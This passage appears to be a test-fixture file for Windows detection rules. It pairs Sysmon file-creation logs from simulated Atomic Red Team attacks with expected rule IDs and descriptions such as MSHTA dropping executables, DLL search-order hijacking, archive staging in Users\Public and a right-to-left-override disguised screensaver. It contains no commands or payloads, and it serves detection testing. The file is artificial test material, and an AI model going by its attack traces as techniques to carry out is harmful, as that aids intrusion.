C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\rad353F7.ps1\\r\\nCreationUtcTime: 2021-09-14 19:49:13.528\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-14T19:49:13.5617693Z\",\"eventRecordID\":\"358727\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-09-14 19:49:13.528", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-fc27-6140-8277-6d0000000000}", "win.eventdata.processId": "6760", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\rad353F7.ps1", "win.eventdata.utcTime": "2021-09-14 19:49:13.528", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "358727", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T19:49:13.5617693Z", "win.system.task": "11", "win.system.threadID": "3756", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92201", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Powershell process created scripting file in AppData temp folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\",\"processGuid\":\"{4dc16835-7c76-614b-61d5-620000000000}\",\"processId\":\"5100\",\"utcTime\":\"2021-09-22 19:42:23.518\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\ATOMIC~2\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\{99EF3796-053F-4BF8-8F8B-4D350422FBF4}\\\\\\\\unprotected.lnk\",\"ruleName\":\"technique_id=T1187,technique_name=Forced Authentication\",\"creationUtcTime\":\"2021-09-22 19:42:23.518\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1187,technique_name=Forced Authentication\\r\\nUtcTime: 2021-09-22 19:42:23.518\\r\\nProcessGuid: {4dc16835-7c76-614b-61d5-620000000000}\\r\\nProcessId: 5100\\r\\nImage: C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\\r\\nTargetFilename: C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\{99EF3796-053F-4BF8-8F8B-4D350422FBF4}\\\\unprotected.lnk\\r\\nCreationUtcTime: 2021-09-22 19:42:23.518\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-22T19:42:23.5713065Z\",\"eventRecordID\":\"379112\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-09-22 19:42:23.518", "win.eventdata.image": "C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE", "win.eventdata.processGuid": "{4dc16835-7c76-614b-61d5-620000000000}", "win.eventdata.processId": "5100", "win.eventdata.ruleName": "technique_id=T1187,technique_name=Forced Authentication", "win.eventdata.targetFilename": "C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\{99EF3796-053F-4BF8-8F8B-4D350422FBF4}\\\\unprotected.lnk", "win.eventdata.utcTime": "2021-09-22 19:42:23.518", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "379112", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T19:42:23.5713065Z", "win.system.task": "11", "win.system.threadID": "3560", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92214", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Office application creates suspicious file"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\mshta.exe\",\"processGuid\":\"{4dc16835-8cdf-614b-90f6-cf0000000000}\",\"processId\":\"7736\",\"utcTime\":\"2021-09-22 20:06:57.538\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\",\"creationUtcTime\":\"2021-09-22 20:06:57.538\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-09-22 20:06:57.538\\r\\nProcessGuid: {4dc16835-8cdf-614b-90f6-cf0000000000}\\r\\nProcessId: 7736\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\mshta.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe\\r\\nCreationUtcTime: 2021-09-22 20:06:57.538\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-22T20:06:57.5392545Z\",\"eventRecordID\":\"385282\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-09-22 20:06:57.538", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\mshta.exe", "win.eventdata.processGuid": "{4dc16835-8cdf-614b-90f6-cf0000000000}", "win.eventdata.processId": "7736", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.utcTime": "2021-09-22 20:06:57.538", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "385282", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:06:57.5392545Z", "win.system.task": "11", "win.system.threadID": "3560", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92215", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "MSHTA creates executable file"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"processGuid\": \"{94f48244-3a4f-6164-e701-000000001200}\", \"processId\": \"5968\", \"utcTime\": \"2021-10-11 13:21:30.556\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\sdbE376.tmp\", \"ruleName\": \"technique_id=T1047,technique_name=File System Permissions Weakness\", \"creationUtcTime\": \"2021-10-11 13:21:30.556\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-10-11 13:21:30.556\\r\\nProcessGuid: {94f48244-3a4f-6164-e701-000000001200}\\r\\nProcessId: 5968\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Windows\\\\Temp\\\\sdbE376.tmp\\r\\nCreationUtcTime: 2021-10-11 13:21:30.556\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-11T13:21:30.5650949Z\", \"eventRecordID\": \"5736\", \"threadID\": \"4792\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"11\", \"processID\": \"6116\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-11 13:21:30.556", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{94f48244-3a4f-6164-e701-000000001200}", "win.eventdata.processId": "5968", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Windows\\\\Temp\\\\sdbE376.tmp", "win.eventdata.utcTime": "2021-10-11 13:21:30.556", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "5736", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "6116", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-11T13:21:30.5650949Z", "win.system.task": "11", "win.system.threadID": "4792", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92216", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Powershell.exe created a temporary file under system folder."} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"11\",\"version\":\"2\",\"level\":\"4\",\"task\":\"11\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:11:55.0310966Z\",\"eventRecordID\":\"144500\",\"processID\":\"2204\",\"threadID\":\"3300\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-04-28 20:11:55.021\\r\\nProcessGuid: {4dc16835-c189-6089-a003-000000002e00}\\r\\nProcessId: 6876\\r\\nImage: C:\\\\Windows\\\\system32\\\\cscript.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\r\\nCreationUtcTime: 2021-04-28 20:11:55.021\\\"\"},\"eventdata\":{\"utcTime\":\"2021-04-28 20:11:55.021\",\"processGuid\":\"{4dc16835-c189-6089-a003-000000002e00}\",\"processId\":\"6876\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cscript.exe\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\starter.vbs\",\"creationUtcTime\":\"2021-04-28 20:11:55.021\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-04-28 20:11:55.021", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\cscript.exe", "win.eventdata.processGuid": "{4dc16835-c189-6089-a003-000000002e00}", "win.eventdata.processId": "6876", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs", "win.eventdata.utcTime": "2021-04-28 20:11:55.021", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "11", "win.system.eventRecordID": "144500", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:11:55.0310966Z", "win.system.task": "11", "win.system.threadID": "3300", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92201", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "$(win.eventdata.image) created a new scripting file under User data folder"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\PAExec-5544-HOTELMANAGER.exe\", \"processGuid\": \"{94f48244-9c1f-6164-7000-000000001f00}\", \"processId\": \"5928\", \"utcTime\": \"2021-10-11 20:18:41.400\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\hollow.exe\", \"creationUtcTime\": \"2021-10-11 20:18:41.400\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-11 20:18:41.400\\r\\nProcessGuid: {94f48244-9c1f-6164-7000-000000001f00}\\r\\nProcessId: 5928\\r\\nImage: C:\\\\Windows\\\\PAExec-5544-HOTELMANAGER.exe\\r\\nTargetFilename: C:\\\\Windows\\\\hollow.exe\\r\\nCreationUtcTime: 2021-10-11 20:18:41.400\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-11T20:18:41.4882783Z\", \"eventRecordID\": \"48671\", \"threadID\": \"3248\", \"computer\": \"itadmin.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2284\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-11 20:18:41.400", "win.eventdata.image": "C:\\\\Windows\\\\PAExec-5544-HOTELMANAGER.exe", "win.eventdata.processGuid": "{94f48244-9c1f-6164-7000-000000001f00}", "win.eventdata.processId": "5928", "win.eventdata.targetFilename": "C:\\\\Windows\\\\hollow.exe", "win.eventdata.utcTime": "2021-10-11 20:18:41.400", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "itadmin.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "48671", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-11T20:18:41.4882783Z", "win.system.task": "11", "win.system.threadID": "3248", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92202", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Binary dropped in Windows root folder by $(win.eventdata.image) process. Possible abuse of Windows admin shares"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\svchost.exe\", \"processGuid\": \"{94f48244-c3c1-615e-a700-000000001a00}\", \"processId\": \"4540\", \"utcTime\": \"2021-10-07 09:55:44.346\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\srrstr.dll\", \"ruleName\": \"technique_id=T1044,technique_name=File System Permissions Weakness\", \"creationUtcTime\": \"2021-10-06 17:15:37.512\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: technique_id=T1044,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-10-07 09:55:44.346\\r\\nProcessGuid: {94f48244-c3c1-615e-a700-000000001a00}\\r\\nProcessId: 4540\\r\\nImage: C:\\\\Windows\\\\system32\\\\svchost.exe\\r\\nTargetFilename: C:\\\\Windows\\\\SysWOW64\\\\srrstr.dll\\r\\nCreationUtcTime: 2021-10-06 17:15:37.512\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-07T09:55:44.3962611Z\", \"eventRecordID\": \"16546\", \"threadID\": \"2836\", \"computer\": \"itadmin.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2400\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-06 17:15:37.512", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\svchost.exe", "win.eventdata.processGuid": "{94f48244-c3c1-615e-a700-000000001a00}", "win.eventdata.processId": "4540", "win.eventdata.ruleName": "technique_id=T1044,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Windows\\\\SysWOW64\\\\srrstr.dll", "win.eventdata.utcTime": "2021-10-07 09:55:44.346", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "itadmin.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "16546", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-07T09:55:44.3962611Z", "win.system.task": "11", "win.system.threadID": "2836", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92219", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Possible DLL search order hijack by DLL created in Windows root folder."} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\7za.exe\", \"processGuid\": \"{94f48244-7a43-6169-d200-000000001b00}\", \"processId\": \"6124\", \"utcTime\": \"2021-10-15 12:56:05.057\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\log.7z\", \"ruleName\": \"technique_id=T1047,technique_name=File System Permissions Weakness\", \"creationUtcTime\": \"2021-10-15 12:56:05.025\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-10-15 12:56:05.057\\r\\nProcessGuid: {94f48244-7a43-6169-d200-000000001b00}\\r\\nProcessId: 6124\\r\\nImage: C:\\\\Users\\\\Public\\\\7za.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\log.7z\\r\\nCreationUtcTime: 2021-10-15 12:56:05.025\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-15T12:56:05.0584806Z\", \"eventRecordID\": \"56626\", \"threadID\": \"3584\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2192\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-15 12:56:05.025", "win.eventdata.image": "C:\\\\Users\\\\Public\\\\7za.exe", "win.eventdata.processGuid": "{94f48244-7a43-6169-d200-000000001b00}", "win.eventdata.processId": "6124", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\log.7z", "win.eventdata.utcTime": "2021-10-15 12:56:05.057", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "56626", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2192", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-15T12:56:05.0584806Z", "win.system.task": "11", "win.system.threadID": "3584", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92210", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Suspicious file compression activity in Users\\Public folder."} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\rundll32.exe\", \"processGuid\": \"{94f48244-7831-6169-8d00-000000001b00}\", \"processId\": \"5532\", \"utcTime\": \"2021-10-15 12:54:47.338\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\7za.exe\", \"creationUtcTime\": \"2021-10-15 12:54:47.338\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-15 12:54:47.338\\r\\nProcessGuid: {94f48244-7831-6169-8d00-000000001b00}\\r\\nProcessId: 5532\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\rundll32.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\7za.exe\\r\\nCreationUtcTime: 2021-10-15 12:54:47.338\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-15T12:54:47.3395921Z\", \"eventRecordID\": \"56604\", \"threadID\": \"3584\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2192\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-15 12:54:47.338", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\rundll32.exe", "win.eventdata.processGuid": "{94f48244-7831-6169-8d00-000000001b00}", "win.eventdata.processId": "5532", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\7za.exe", "win.eventdata.utcTime": "2021-10-15 12:54:47.338", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "56604", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2192", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-15T12:54:47.3395921Z", "win.system.task": "11", "win.system.threadID": "3584", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92211", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Suspicious executable file creation by rundll32: $(win.eventdata.targetFilename)."} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\Desktop\\\\\\\\‮cod.3aka3.scr\", \"processGuid\": \"{94f48244-aa65-616e-1001-000000001900}\", \"processId\": \"4396\", \"utcTime\": \"2021-10-19 12:04:04.091\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\Downloads\\\\\\\\monkey.png\", \"creationUtcTime\": \"2021-10-19 12:04:04.091\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-19 12:04:04.091\\r\\nProcessGuid: {94f48244-aa65-616e-1001-000000001900}\\r\\nProcessId: 4396\\r\\nImage: 